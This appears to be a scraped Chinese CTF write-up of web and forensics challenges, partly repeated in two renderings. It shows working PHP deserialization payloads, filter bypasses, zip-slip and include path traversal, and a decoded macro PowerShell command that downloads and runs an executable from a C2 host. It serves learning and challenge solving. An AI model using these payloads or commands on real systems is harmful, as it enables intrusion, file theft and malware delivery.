'导入成功！对象类型：' . get_class($obj);\n            \u002F\u002F Force __destruct() NOW so output is visible on page\n            ob_start();\n            $obj = null;\n            $destruct_output = ob_get_clean();\n        }\n    }\n}\n\n$demo = new Profile();\n$demo-&gt;name = 'Alice';\n$demo-&gt;bio = 'CTF Player';\n$export = serialize($demo);\n?&gt;\n\u003C\u002Fcode>\u003C\u002Fpre>\n\u003Cp>观察发现我们应该用FileViewer的__toString方法读取文件\u003Cbr>\n  但是这个方法只是return，没有输出\u003Cbr>\n  正好我们借助Welcome的魔术方法__destruct输出，还可以触发__toString\u003C\u002Fp>\n\u003Cpre>\u003Ccode>&lt;?php\nclass FileViewer\n{\n    public $path;\n\n    public function __toString()#验证文件路径存在并包含\n    {\n        if ($this-&gt;path &amp;&amp; file_exists($this-&gt;path)) {\n            return file_get_contents($this-&gt;path);\n        }\n        return \"[文件未找到]\";\n    }\n}\n\nclass Welcome\n{\n    public $user;\n\n    public function __destruct()\n    {\n        echo \"&lt;div class='bye-msg'&gt;再见，\" . $this-&gt;user . \"！&lt;\u002Fdiv&gt;\";\n    }\n}\n\n$demo = new Welcome();\n$demo-&gt;user = new FileViewer();\n$demo-&gt;user-&gt;path = \"\u002Fetc\u002Fpasswd\"; #这里可以改成你想要读取的文件路径\n$export = serialize($demo);\necho $export;\n?&gt;\n\u003C\u002Fcode>\u003C\u002Fpre>\n\u003Cp>可以读取文件了，但是过滤比较严格\u003Cbr>\n  看到还有一个类没用上\u003C\u002Fp>\n\u003Cpre>\u003Ccode>class Profile\n{\n    public $name;\n    public $bio;\n\n    public function __wakeup()\n    {\n        if (strlen($this-&gt;name) &gt; 30) {\n            $this-&gt;name = substr($this-&gt;name, 0, 30);\n        }\n        if (strlen($this-&gt;bio) &gt; 200) {\n            $this-&gt;bio = substr($this-&gt;bio, 0, 200);\n        }\n    }\n}\n\u003C\u002Fcode>\u003C\u002Fpre>\n\u003Cp>可以帮助我们处理字符长度\u003Cbr>\n  但是题目逻辑是先进行过滤再反序列化\u003Cbr>\n  思考能不能直接绕过过滤，尝试在序列化字符串中加入\"破坏正则判断，同时搭配路径穿越\u003Cbr>\n  好消息是\u003C\u002Fp>\n\u003Cpre>\u003Ccode>\u002Fetc\u002F..\u002F1\"\u002F..\u002Fflag\n\u003C\u002Fcode>\u003C\u002Fpre>\n\u003Cp>确实没有触发waf\u003Cbr>\n  坏消息是回显文件未找到，同样的方法读取\u002Fetc\u002Fpasswd也是文件未找到\u003Cbr>\n  原理回头再研究\u003Cbr>\n  正确思路是\u003Cbr>\n  正则waf只匹配了小写x，放过了大写S\u003Cbr>\n  大写&#xa0;\u003Ccode>S:\u003C\u002Fcode>&#xa0;表示字符串中可用&#xa0;\u003Ccode>\\xx\u003C\u002Fcode>（两位十六进制）转义字节\u003Cbr>\n  把&#xa0;\u003Ccode>flag\u003C\u002Fcode>&#xa0;的&#xa0;\u003Ccode>f\u003C\u002Fcode>（0x66）写成&#xa0;\u003Ccode>\\66\u003C\u002Fcode>，即&#xa0;\u003Ccode>S:5:\"\u002F\\66lag\"\u003C\u002Fcode>\u003Cbr>\n  最终payload\u003C\u002Fp>\n\u003Cpre>\u003Ccode>O:7:\"Welcome\":1:{s:4:\"user\";O:10:\"FileViewer\":1:{s:4:\"path\";S:5:\"\u002F\\66lag\";}}\n\u003C\u002Fcode>\u003C\u002Fpre>\n\u003Cp>好了，现在看看为什么路径穿越的方法不行\u003Cbr>\n  之前就在windows和linux上做过实验\u003Cbr>\n  其实是可以实现路径穿越的\u003Cbr>\n  唯一不同就是windows可以一个引号\u003Ccode>\u002F1\"\u002F..\u002F\u003C\u002Fcode>穿越\u003Cbr>\n  但linux必须要闭合引号才会执行\u003Ccode>\u002F1\"\"\u002F..\u002F\u003C\u002Fcode>\u003Cbr>\n  问下ai\u003C\u002Fp>\n\u003Ctable>\n \u003Cthead>\n  \u003Ctr>\n   \u003Cth>你的&#xa0;\u003Ccode>cd\u003C\u002Fcode>（逻辑）\u003C\u002Fth>\n   \u003Cth>服务器&#xa0;\u003Ccode>file_get_contents\u003C\u002Fcode>（物理）\u003C\u002Fth>\n   \u003Cth>\u003C\u002Fth>\n  \u003C\u002Ftr>\n \u003C\u002Fthead>\n \u003Ctbody>\n  \u003Ctr>\n   \u003Ctd>谁解析&#xa0;\u003Ccode>..\u003C\u002Fcode>\u003C\u002Ftd>\n   \u003Ctd>bash 在字符串层面折叠\u003C\u002Ftd>\n   \u003Ctd>内核逐组件查目录\u003C\u002Ftd>\n  \u003C\u002Ftr>\n  \u003Ctr>\n   \u003Ctd>\u003Ccode>X\u002F..\u003C\u002Fcode>&#xa0;要求 X 存在吗\u003C\u002Ftd>\n   \u003Ctd>不要求（先折叠掉）\u003C\u002Ftd>\n   \u003Ctd>\u003Cstrong>要求\u003C\u002Fstrong>（查不到就 ENOENT）\u003C\u002Ftd>\n  \u003C\u002Ftr>\n  \u003Ctr>\n   \u003Ctd>\u003Ccode>\"\u003C\u002Fcode>&#xa0;去哪了\u003C\u002Ftd>\n   \u003Ctd>被 shell 吃掉，变&#xa0;\u003Ccode>1\u003C\u002Fcode>\u003C\u002Ftd>\n   \u003Ctd>PHP 字符串里的真实字节，成文件名\u003C\u002Ftd>\n  \u003C\u002Ftr>\n  \u003Ctr>\n   \u003Ctd>原来这样吗\u003C\u002Ftd>\n   \u003Ctd>\u003C\u002Ftd>\n   \u003Ctd>\u003C\u002Ftd>\n  \u003C\u002Ftr>\n  \u003Ctr>\n   \u003Ctd>可惜linux默认没有文件名包含\"的文件，不然还能操作一下\u003C\u002Ftd>\n   \u003Ctd>\u003C\u002Ftd>\n   \u003Ctd>\u003C\u002Ftd>\n  \u003C\u002Ftr>\n  \u003Ctr>\n   \u003Ctd>此路不通\u003C\u002Ftd>\n   \u003Ctd>\u003C\u002Ftd>\n   \u003Ctd>\u003C\u002Ftd>\n  \u003C\u002Ftr>\n \u003C\u002Ftbody>\n\u003C\u002Ftable>\n\u003Ch2>预言三问\u003C\u002Fh2>\n\u003Cp>\u003Cimg src=\"https:\u002F\u002Fi1.wp.com\u002Fgitee.com\u002FE73RN4L\u002Fphotos\u002Fraw\u002Fmaster\u002Fimg\u002F20260906171859230.png?w=720&amp;quality=65&amp;strip=all\" alt=\"image.png\">\u003Cbr>\n  得x=78\u003Cbr>\n  设置cookie=78\u003Cbr>\n  回显\u003C\u002Fp>\n\u003Cpre>\u003Ccode>预言家,现在的交流方法不太安全,改成一个安全的方式吧。而且你是知道女祭司和预言家是一对的,别忘用英语写在数据里哦。\n\u003C\u002Fcode>\u003C\u002Fpre>\n\u003Cp>抓包看看\u003Cbr>\n  没东西啊，难道说？\u003Cbr>\n  POST传参\u003Cbr>\n  priestess=prophet\u003Cbr>\n  提示要管理员等于一\u003Cbr>\n  再get传参?admin=1\u003Cbr>\n  拿到flag....\u003C\u002Fp>\nmisc\n\u003Ch2>letter\u003C\u002Fh2>\n\u003Cp>\u003Cimg src=\"https:\u002F\u002Fi1.wp.com\u002Fgitee.com\u002FE73RN4L\u002Fphotos\u002Fraw\u002Fmaster\u002Fimg\u002F20260905105051088.png?w=720&amp;quality=65&amp;strip=all\" alt=\"image.png\">\u003Cbr>\u003Cimg src=\"https:\u002F\u002Fi1.wp.com\u002Fgitee.com\u002FE73RN4L\u002Fphotos\u002Fraw\u002Fmaster\u002Fimg\u002F20260905105131437.png?w=720&amp;quality=65&amp;strip=all\" alt=\"image.png\">\u003Cbr>\n  全是200C和200B\u003Cbr>\n  脚本如下\u003C\u002Fp>\n\u003Cpre>\u003Ccode>data = open(r'E:\\firefox\\letter\\letter.txt', encoding='utf-8').read().rstrip('\\n')\nbits = ''.join('0' if c == '\\u200b' else '1' for c in data if c in '\\u200b\\u200c')\nprint(''.join(chr(int(bits[i:i+8], 2)) for i in range(0, len(bits), 8)))\n\u003C\u002Fcode>\u003C\u002Fpre>\n\u003Ch2>deploy-2\u003C\u002Fh2>\n\u003Cblockquote>\n \u003Cp>还原 docm 宏里混淆的 PowerShell 命令，得到下载 payload 的完整 URL。\u003C\u002Fp>\n\u003C\u002Fblockquote>\n\u003Cp>下载了.docm文件，我们改后缀为.zip\u003Cbr>\u003Cimg src=\"https:\u002F\u002Fi1.wp.com\u002Fgitee.com\u002FE73RN4L\u002Fphotos\u002Fraw\u002Fmaster\u002Fimg\u002F20260905160023642.png?w=720&amp;quality=65&amp;strip=all\" alt=\"image.png\">\u003Cbr>\n  查看.bin文件\u003C\u002Fp>\n\u003Cpre>\u003Ccode>D0 CF 11 E0 A1 B1 1A E1                                                                                                                        VBA_Project_Payload_v1_GreyLynxAttribute VB_Name = \"Module1\"\n' GreyLynx payroll update bootstrap\n' NOTE: string below is encoded: base64(XOR 0x23(payload))\nSub AutoOpen()\n    Dim enc As String\n    enc = \"U0xURlFQS0ZPTwMOTUxTAw5UA0tKR0dGTQMOQAMBRkBLTAN4CX4DZFFGWm9aTVsDVlNHQldGA0FMTFdQV1FCUxgDSlRRA0tXV1MZDAxAR00NRFFGWk9KTVsOQExNUFZPV0pNRA1bWlkZGxMbEwxWU0dCV0YMUFVADUZbRgMObFZXZUpPRgMHRk1VGXdmbnN\u002FUFVADUZbRhgDUFdCUVcDB0ZNVRl3Zm5zf1BVQA1GW0YB\"\n    Dim ps As String\n    ps = DecodeXor(enc)\n    Shell ps, vbHide\nEnd Sub\n\nFunction DecodeXor(s As String) As String\n    ' decode chain: Base64 decode, then XOR each byte with 0x23\n    DecodeXor = s\nEnd Function\n\u003C\u002Fcode>\u003C\u002Fpre>\n\u003Cp>简单加密\u003Cbr>\u003Cimg src=\"https:\u002F\u002Fi1.wp.com\u002Fgitee.com\u002FE73RN4L\u002Fphotos\u002Fraw\u002Fmaster\u002Fimg\u002F20260905160106758.png?w=720&amp;quality=65&amp;strip=all\" alt=\"image.png\">\u003C\u002Fp>\n\u003Cpre>\u003Ccode>powershell -nop -w hidden -c \"echo [*] GreyLynx update bootstrap; iwr http:\u002F\u002Fcdn.greylinx-consulting.xyz:8080\u002Fupdate\u002Fsvc.exe -OutFile $env:TEMP\\svc.exe; start $env:TEMP\\svc.exe\"\n\u003C\u002Fcode>\u003C\u002Fpre>\n\u003Cp>flag是cdn.greylinx-consulting.xyz:8080\u002Fupdate\u002Fsvc.exe不包括http:\u003C\u002Fp>\n\u003Ch2>deploy-3\u003C\u002Fh2>\n\u003Cblockquote>\n \u003Cp>C2 服务器的 IP:端口。\u003C\u002Fp>\n\u003C\u002Fblockquote>\n\u003Cp>\u003Cimg src=\"https:\u002F\u002Fi1.wp.com\u002Fgitee.com\u002FE73RN4L\u002Fphotos\u002Fraw\u002Fmaster\u002Fimg\u002F20260905165654159.png?w=720&amp;quality=65&amp;strip=all\" alt=\"image.png\">\u003Cbr>\n  wireshark打开\u003Cbr>\n  过滤流量\u003C\u002Fp>\n\u003Cpre>\u003Ccode>http.request.method == POST and http.request.uri contains \"gate.php\"\n\u003C\u002Fcode>\u003C\u002Fpre>\n\u003Cp>\u003Cimg src=\"https:\u002F\u002Fi1.wp.com\u002Fgitee.com\u002FE73RN4L\u002Fphotos\u002Fraw\u002Fmaster\u002Fimg\u002F20260905165940598.png?w=720&amp;quality=65&amp;strip=all\" alt=\"image.png\">\u003Cbr>\n  发现destination是\u003Cstrong>203.0.113.45\u003C\u002Fstrong>\u003Cbr>\n  其实这就是外联的c2服务器的ip\u003Cbr>\n  继续往下翻还有域名和端口\u003Cbr>\u003Cimg src=\"https:\u002F\u002Fi1.wp.com\u002Fgitee.com\u002FE73RN4L\u002Fphotos\u002Fraw\u002Fmaster\u002Fimg\u002F20260905170254303.png?w=720&amp;quality=65&amp;strip=all\" alt=\"image.png\">\u003Cbr>\n  不过做的时候我是右键-FOLLOW-http stream\u003Cbr>\u003Cimg src=\"https:\u002F\u002Fi1.wp.com\u002Fgitee.com\u002FE73RN4L\u002Fphotos\u002Fraw\u002Fmaster\u002Fimg\u002F20260905170357500.png?w=720&amp;quality=65&amp;strip=all\" alt=\"image.png\">\u003Cbr>\n  只拿到了域名和端口\u003Cbr>\n  然后去找dns的解析记录\u003C\u002Fp>\n\u003Cpre>\u003Ccode>dns.qry.name contains \"c2.greylinx-consulting.xyz\"\n\u003C\u002Fcode>\u003C\u002Fpre>\n\u003Cp>\u003Cimg src=\"https:\u002F\u002Fi1.wp.com\u002Fgitee.com\u002FE73RN4L\u002Fphotos\u002Fraw\u002Fmaster\u002Fimg\u002F20260905170519319.png?w=720&amp;quality=65&amp;strip=all\" alt=\"image.png\">\u003Cbr>\u003Cimg src=\"https:\u002F\u002Fi1.wp.com\u002Fgitee.com\u002FE73RN4L\u002Fphotos\u002Fraw\u002Fmaster\u002Fimg\u002F20260905170540644.png?w=720&amp;quality=65&amp;strip=all\" alt=\"image.png\">\u003C\u002Fp>\n\u003Ch2>星辰科技\u003C\u002Fh2>\n\u003Cp>扫目录扫到robots.txt就好做了\u003C\u002Fp>","web 贪吃蛇 有点难玩，直接看源代码 重点代码片段 function submitScore(finalScoreValue) { fetch('api.php', { method: 'POST', headers: {'Content-Type': 'application\u002Fjson'}, body: JSON.stringify({score: finalScoreValue}) }) .then(function(resp) { return resp.json(); }) .then(function(data) { rewardPanel.style.display = 'block'; if (data.success) { rewardPanel.innerHTML = '&#127942; 隐藏奖励解锁！\u003Cbr>' + data.message; } else { rewardPanel.innerHTML = data.message; } }) .catch(function() { rewardPanel.style.display = 'block'; rewardPanel.innerHTML = '成绩提交失败，请稍后再试'; }); } 我们向api.php发送POST请求{\"score\":\"999999999999999\"}即可拿到flag php反序列 \u003C?php session_start(); error_reporting(0); if (empty($_SESSION['logged_in'])) { header('Location: index.php'); exit; } include __DIR__ . '\u002Fflag.php'; class AuditTicket { public $role = 'guest'; public function __destruct() { global $flag; if ($this->role === 'admin') { echo '\u003Ch3 style=\"color:green\">反序列化成功！\u003C\u002Fh3>'; echo '\u003Cp>' . htmlspecialchars($flag, ENT_QUOTES, 'UTF-8') . '\u003C\u002Fp>'; } } } $message = ''; $object = null; if ($_SERVER['REQUEST_METHOD'] === 'POST') { $payload = $_POST['payload'] ?? ''; if ($payload === '') { $message = 'payload 不能为空'; } else { $object = unserialize($payload); if ($object instanceof AuditTicket) { $message = '对象恢复成功'; } else { $message = '反序列化失败'; } } } highlight_file(__FILE__); ?> 脚本 \u003C?php class AuditTicket { public $role = 'admin'; } $a=new AuditTicket(); $b=serialize($a); echo $b; 消消乐 游戏不算难可以直接玩出来 查看源代码 数据来源 \u003Cdiv id=\"app-meta\" data-v=\"0731626d648f81d06d6ce180ba733b9b0f\" hidden>\u003C\u002Fdiv> 下面会用到他 var hex = cfg.dataset.v.substr(2); \u002F\u002F 丢掉 \"07\" \u002F\u002F hex = \"31626d648f81d06d6ce180ba733b9b0f\" (32 位 = 16 字节) 这里可以直接在控制台得到输出 逐字节 XOR 解密(密钥 = 0x37) var key = 0x37; \u002F\u002F 固定密钥(十进制 55) var bytes = []; for (var i = 0; i \u003C hex.length; i += 2) { bytes.push(parseInt(hex.substr(i, 2), 16) ^ key); } 31^37=06 62^37=55 6d^37=5a 64^37=53 8f^37=b8 81^37=b6 d0^37=e7 6d^37=5a 6c^37=5b e1^37=d6 80^37=b7 ba^37=8d 73^37=44 3b^37=0c 9b^37=ac 0f^37=38 解密出的 16 个字节:06 55 5a 53 b8 b6 e7 5a 5b d6 b7 8d 44 0c ac 38 再套flag壳 var result = String.fromCharCode(102,108,97,103,123) + hash + String.fromCharCode(125); fromCharCode 逐个转字符: 码 字符 102 f 108 l 97 a 103 g 123 { 125 } 即 \"flag{\" + hash + \"}\"。 guess \u002Fmemo查看备忘文件 \u003Ch1>备忘卡片\u003C\u002Fh1> \u003Cpre>comet archive initialized\u003C\u002Fpre> \u003Cp class=\"small\">核心变量已进入渲染上下文，但默认模板不会展示。\u003C\u002Fp> \u002Fstatus \u002Ftheme 文件上传 尝试上传一个正常的符合要求的.zip，回显得到id 但是\u002Fstatus里提示的目录都是404... 我们大概能猜到\u002Fmemo是\u002Fapp\u002Ftemplates\u002Fmemo.html 上传一个简单的memo.html测试 \u003Cpre>{{ 7*7 }}\u003C\u002Fpre> 可是\u002Fmemo没反应 据说zip解压有一个古老的坑 解压过程中文件名可能会被直接拼接到路径中，造成路径穿越漏洞 但是windows的文件名不允许有\u002F 借助pyhton脚本 import zipfile with zipfile.ZipFile(\"theme.zip\", \"w\") as z: z.writestr(\"manifest.txt\", \"name=x\\n\") z.writestr(\"..\u002F..\u002F..\u002Ftemplates\u002Fmemo.html\", \"\u003Cpre>{{flag}}\u003C\u002Fpre>\") 上传后访问\u002Fmemo拿到flag 打赏 打赏后拿到假flag 查看源代码 \u002F\u002F 自定义你的flag const flag = \"flag{Fake_Pay_No_Money_2026_HTML}\"; function showFlag() { let emailVal = document.getElementById(\"mail\").value; \u002F\u002F不校验真实邮箱、无支付流程 if (emailVal.length > 0) { alert(\"模拟支付成功，无需真实转账！\\n你的flag：\" + flag); } else { alert(\"邮箱框随便输入任意字符即可模拟支付拿flag\"); \u002F\u002FQD2AHXMGSJMMG2NM } } 下面有一个加密的注释，尝试解密 这里真搓不出来，问了ds是先首位反转再base32解码 访问ctf123.php \u003C?php highlight_file(__FILE__); error_reporting(0); include __DIR__ . '\u002Fflag.php'; echo \"\u003Ch2>Welcome\u003C\u002Fh2>\"; function stop($msg) { die(htmlspecialchars($msg, ENT_QUOTES, 'UTF-8') . \"\u003Cbr\u002F>\\n\"); } $role = $_COOKIE['role'] ?? 'guest'; if ($role !== 'auditor') { stop('第一关：你还不是 auditor'); } echo \"第一关通过\u003Cbr\u002F>\\n\"; $route = $_GET['route'] ?? ''; if (preg_match('\u002Fadmin\u002Fi', $route)) { stop('第二关：检测到敏感路由 admin'); } $route = urldecode($route); if ($route !== 'admin\u002Fpanel') { stop('第二关：没有进入管理路由'); } echo \"第二关通过\u003Cbr\u002F>\\n\"; echo \"恭喜通关！\u003Cbr\u002F>\\n\"; echo htmlspecialchars($flag, ENT_QUOTES, 'UTF-8'); ?> 第一关 Cookie: role=auditor 第二关把admin双重url编码 \u002Fctf123.php?route=%2561%2564%256d%2569%256e%2Fpanel 拿到flag 安全笔记 登陆后多了一行字 Maintenance note Debug output was limited before release. Remember to remove old diagnostics. 维护说明：发布前限制了调试输出。请记得删除旧的诊断信息 点击检查环境 { \"shiro_version\": \"1.7.1\", \"jdk_version\": \"1.8.0_492\", \"profile\": \"basic\", \"trace\": \"env.basic\", \"notice\": \"旧版环境导出器仍然支持维护动作\", \"hint\": \"如果你使用的是旧版调试控制台，可以试试 action=help\" } MiniSite 右上角三个功能分别访问 \u002F?f=home.php \u002F?f=about.php \u002F?f=source.php 提示：index.php 的完整源码 —— 仔细看看 FileGuard 是怎么校验的。 Hint: 校验通过后，include 用的是哪个变量？它和校验时看到的一样吗？ Mini Site · 有些文件不在白名单里，也不在 web 根目录下 \u003C?php \u002F\u002F TODO: 上线前删掉这行 —— \u002Fsssseeeeccccrrrrreeeetttt 别忘了清理 class FileGuard { public static function checkFile(&$page) { $whitelist = [\"home.php\", \"about.php\", \"source.php\"]; if (!isset($page) || !is_string($page)) { echo \"you can't see it\"; return false; } if (in_array($page, $whitelist, true)) { return true; } $_page = substr( $page, 0, strpos($page . '#', '#') ); if (in_array($_page, $whitelist, true)) { return true; } $_page = rawurldecode($page); $_page = substr( $_page, 0, strpos($_page . '#', '#') ); if (in_array($_page, $whitelist, true)) { return true; } echo \"you can't see it\"; return false; } } if (!empty($_REQUEST['f']) && is_string($_REQUEST['f']) && FileGuard::checkFile($_REQUEST['f']) ) { include $_REQUEST['f']; exit; } ?> \u003C!doctype html> \u003Chtml lang=\"zh-CN\"> \u003Chead> \u003Cmeta charset=\"utf-8\"> \u003Cmeta name=\"viewport\" content=\"width=device-width,initial-scale=1\"> \u003Ctitle>MiniSite \u003C\u002Ftitle> \u003Cstyle> *{margin:0;padding:0;box-sizing:border-box} :root{ --bg:#0a0e1a;--card:rgba(19,24,38,.72);--accent:#00ff9d;--accent2:#00d4ff; --text:#c8d3e6;--muted:#6b7a99;--border:rgba(0,255,157,.18); } body{ font-family:'Segoe UI',system-ui,-apple-system,sans-serif;color:var(--text); min-height:100vh;display:flex;flex-direction:column; background:var(--bg); background-image: radial-gradient(ellipse 80% 50% at 50% -10%,rgba(0,212,255,.10),transparent), radial-gradient(ellipse 60% 40% at 90% 110%,rgba(0,255,157,.08),transparent), linear-gradient(rgba(31,41,64,.25) 1px,transparent 1px), linear-gradient(90deg,rgba(31,41,64,.25) 1px,transparent 1px); background-size:100% 100%,100% 100%,42px 42px,42px 42px; background-attachment:fixed; } \u002F* nav *\u002F nav{position:sticky;top:0;z-index:10;backdrop-filter:blur(12px); background:rgba(10,14,26,.7);border-bottom:1px solid var(--border); box-shadow:0 4px 30px rgba(0,0,0,.4)} .nav-inner{max-width:960px;margin:0 auto;padding:14px 24px;display:flex; align-items:center;gap:24px;flex-wrap:wrap} .logo{font-weight:800;font-size:18px;letter-spacing:1px; background:linear-gradient(90deg,var(--accent),var(--accent2)); -webkit-background-clip:text;background-clip:text;color:transparent} .logo::before{content:\"\u003C\u002F>\";margin-right:8px;opacity:.7} .nav-links{display:flex;gap:8px;margin-left:auto;flex-wrap:wrap} .nav-links a{color:var(--muted);text-decoration:none;padding:7px 16px;border-radius:8px; font-size:14px;font-weight:600;border:1px solid transparent;transition:.25s} .nav-links a:hover{color:var(--accent);background:rgba(0,255,157,.08); border-color:var(--border);box-shadow:0 0 18px rgba(0,255,157,.15)} \u002F* main *\u002F main{flex:1;max-width:960px;width:100%;margin:0 auto;padding:60px 24px 40px} .hero{text-align:center;margin-bottom:48px;animation:fadeUp .8s ease} @keyframes fadeUp{from{opacity:0;transform:translateY(18px)}to{opacity:1;transform:none}} .tag{display:inline-block;font-size:12px;letter-spacing:3px;text-transform:uppercase; color:var(--accent);border:1px solid var(--border);padding:5px 14px;border-radius:20px;margin-bottom:22px} h1{font-size:46px;font-weight:800;line-height:1.1;margin-bottom:16px; background:linear-gradient(120deg,#fff 30%,var(--accent2)); -webkit-background-clip:text;background-clip:text;color:transparent} .sub{font-size:16px;color:var(--muted);max-width:540px;margin:0 auto;line-height:1.7} \u002F* card *\u002F .cards{display:grid;grid-template-columns:repeat(auto-fit,minmax(260px,1fr));gap:20px; animation:fadeUp .8s .15s both} .card{background:var(--card);border:1px solid var(--border);border-radius:16px; padding:28px 24px;backdrop-filter:blur(8px);transition:.3s;position:relative;overflow:hidden} .card::before{content:\"\";position:absolute;inset:0;border-radius:16px;padding:1px; background:linear-gradient(135deg,var(--accent),transparent 60%); -webkit-mask:linear-gradient(#000 0 0) content-box,linear-gradient(#000 0 0); -webkit-mask-composite:xor;mask-composite:exclude;opacity:.5} .card:hover{transform:translateY(-4px);box-shadow:0 12px 40px rgba(0,255,157,.12)} .card .ic{font-size:30px;margin-bottom:14px;display:block} .card h3{font-size:17px;margin-bottom:8px} .card p{font-size:14px;color:var(--muted);line-height:1.6} .card a{color:var(--accent);text-decoration:none;font-weight:600} .card a:hover{text-shadow:0 0 12px rgba(0,255,157,.6)} \u002F* terminal *\u002F .terminal{margin-top:44px;background:var(--card);border:1px solid var(--border); border-radius:12px;overflow:hidden;animation:fadeUp .8s .3s both} .term-bar{background:rgba(0,0,0,.3);padding:10px 16px;display:flex;gap:7px; border-bottom:1px solid var(--border);font-size:12px;color:var(--muted)} .term-bar i{width:12px;height:12px;border-radius:50%;display:inline-block} .term-bar i:nth-child(1){background:#ff5f57}.term-bar i:nth-child(2){background:#febc2e} .term-bar i:nth-child(3){background:#28c840} .term-bar span{margin-left:auto} .term-body{padding:20px;font-family:'Consolas','Courier New',monospace; font-size:13.5px;line-height:1.7;color:var(--text)} .term-body .prompt{color:var(--accent)} .term-body .out{color:var(--muted)} .term-body .cursor{display:inline-block;width:8px;height:15px;background:var(--accent); vertical-align:middle;animation:blink 1s steps(1) infinite} @keyframes blink{50%{opacity:0}} footer{text-align:center;padding:28px;font-size:13px;color:var(--muted); border-top:1px solid var(--border)} footer span{color:var(--accent)} @media(max-width:600px){h1{font-size:34px}.nav-inner{gap:14px}} \u003C\u002Fstyle> \u003C\u002Fhead> \u003Cbody> \u003Cnav> \u003Cdiv class=\"nav-inner\"> \u003Cspan class=\"logo\">Mini Site\u003C\u002Fspan> \u003Cdiv class=\"nav-links\"> \u003Ca href=\"?f=home.php\">Home\u003C\u002Fa> \u003Ca href=\"?f=about.php\">About\u003C\u002Fa> \u003Ca href=\"?f=source.php\">Source\u003C\u002Fa> \u003C\u002Fdiv> \u003C\u002Fdiv> \u003C\u002Fnav> \u003Cmain> \u003Cdiv class=\"hero\"> \u003Cspan class=\"tag\">CTF Web · Medium\u003C\u002Fspan> \u003Ch1>Can you find\u003Cbr>the secret?\u003C\u002Fh1> \u003Cp class=\"sub\">一个用 PHP include 搭建的迷你站点。看起来只有三个页面，但总有些文件不该出现在白名单里……\u003C\u002Fp> \u003C\u002Fdiv> \u003Cdiv class=\"cards\"> \u003Cdiv class=\"card\"> \u003Cspan class=\"ic\">&#128737;\u003C\u002Fspan> \u003Ch3>FileGuard 白名单\u003C\u002Fh3> \u003Cp>所有文件请求都要经过三层校验。看起来无懈可击？\u003Cbr>\u003Ca href=\"?f=source.php\">查看源码 &rarr;\u003C\u002Fa>\u003C\u002Fp> \u003C\u002Fdiv> \u003Cdiv class=\"card\"> \u003Cspan class=\"ic\">&#128270;\u003C\u002Fspan> \u003Ch3>信息收集\u003C\u002Fh3> \u003Cp>页面的 HTML 注释、source.php 的高亮里，藏着进入下一关的线索。\u003C\u002Fp> \u003C\u002Fdiv> \u003Cdiv class=\"card\"> \u003Cspan class=\"ic\">&#128682;\u003C\u002Fspan> \u003Ch3>绕过校验\u003C\u002Fh3> \u003Cp>校验和执行，用的是同一个值吗？\u003Cbr>仔细看看 \u003Ccode>include\u003C\u002Fcode> 的参数。\u003C\u002Fp> \u003C\u002Fdiv> \u003C\u002Fdiv> \u003Cdiv class=\"terminal\"> \u003Cdiv class=\"term-bar\">\u003Ci>\u003C\u002Fi>\u003Ci>\u003C\u002Fi>\u003Ci>\u003C\u002Fi>\u003Cspan>guest@minisite\u003C\u002Fspan>\u003C\u002Fdiv> \u003Cdiv class=\"term-body\"> \u003Cspan class=\"prompt\">guest@minisite\u003C\u002Fspan>:\u003Cspan class=\"out\">~$\u003C\u002Fspan> curl \"http:\u002F\u002Flocalhost\u002F?f=home.php\" \u003Cspan class=\"out\">&lt;h1&gt;Home&lt;\u002Fh1&gt; ... welcome to mini site.\u003C\u002Fspan> \u003Cspan class=\"prompt\">guest@minisite\u003C\u002Fspan>:\u003Cspan class=\"out\">~$\u003C\u002Fspan> curl \"http:\u002F\u002Flocalhost\u002F?f=..\u002F..\u002Fetc\u002Fpasswd\" \u003Cspan class=\"out\">you can't see it\u003C\u002Fspan> \u003Cspan class=\"prompt\">guest@minisite\u003C\u002Fspan>:\u003Cspan class=\"out\">~$\u003C\u002Fspan> \u003Cspan class=\"cursor\">\u003C\u002Fspan> \u003C\u002Fdiv> \u003C\u002Fdiv> \u003C\u002Fmain> \u003Cfooter> Mini Site &middot; PHP File Include Challenge &middot; \u003Cspan>flag is not where you think\u003C\u002Fspan> \u003C\u002Ffooter> \u003C\u002Fbody> \u003C\u002Fhtml> 这个\u002Fsssseeeeccccrrrrreeeetttt不知道干嘛的，访问不了，f传参也不行 继续往下看看吧 直接匹配 whitelist → 返回 true 带 # 截断后匹配 → 返回 true URL 解码后再匹配 → 返回 true 都没匹配到 → 返回 false 我们尝试使用#截断配合路径穿越 \u002F?f=source.php%23\u002F..\u002Fabout.php 成功穿越到about.php 去看看\u002Fsssseeeeccccrrrrreeeetttt 最终payload \u002F?f=source.php%23\u002F..\u002F..\u002F..\u002F..\u002Fsssseeeeccccrrrrreeeetttt flag就在这里 cryweb 测试了ctfer 0 admin null 找不到规律也没找到解密方法 魔法导入器 查看源代码 \u002F?source \u003C?php class FileViewer { public $path; public function __toString()#验证文件路径存在并包含 { if ($this->path && file_exists($this->path)) { return file_get_contents($this->path); } return \"[文件未找到]\"; } } class Welcome { public $user; public function __destruct() { echo \"\u003Cdiv class='bye-msg'>再见，\" . $this->user . \"！\u003C\u002Fdiv>\"; } } class Profile { public $name; public $bio; public function __wakeup() { if (strlen($this->name) > 30) { $this->name = substr($this->name, 0, 30); } if (strlen($this->bio) > 200) { $this->bio = substr($this->bio, 0, 200); } } } function validate_serialized($data) { $rules = [ '\u002Fs:\\d+:\"[^\"]*flag[^\"]*\"\u002F' => '拦截：检测到 flag 路径 (s:string)', '\u002FO:\\d+:\"(?!Welcome|Profile|FileViewer)[^\"]+\"\u002F' => '拦截：不允许的类', ]; foreach ($rules as $pattern => $msg) { if (preg_match($pattern, $data)) { return [false, $msg]; } } return [true, '验证通过']; } \u002F\u002F Source code view if (isset($_GET['source'])) { highlight_file(__FILE__); exit; } \u002F\u002F Logic $result = ''; $error = ''; $destruct_output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['data'])) { $raw = trim($_POST['data']); list($ok, $msg) = validate_serialized($raw); if (!$ok) { $error = $msg; } else { $obj = @unserialize($raw); if ($obj === false && $raw !== 'b:0;') { $error = '反序列化失败：格式无效'; } else { $result = '导入成功！对象类型：' . get_class($obj); \u002F\u002F Force __destruct() NOW so output is visible on page ob_start(); $obj = null; $destruct_output = ob_get_clean(); } } } $demo = new Profile(); $demo->name = 'Alice'; $demo->bio = 'CTF Player'; $export = serialize($demo); ?> 观察发现我们应该用FileViewer的__toString方法读取文件 但是这个方法只是return，没有输出 正好我们借助Welcome的魔术方法__destruct输出，还可以触发__toString \u003C?php class FileViewer { public $path; public function __toString()#验证文件路径存在并包含 { 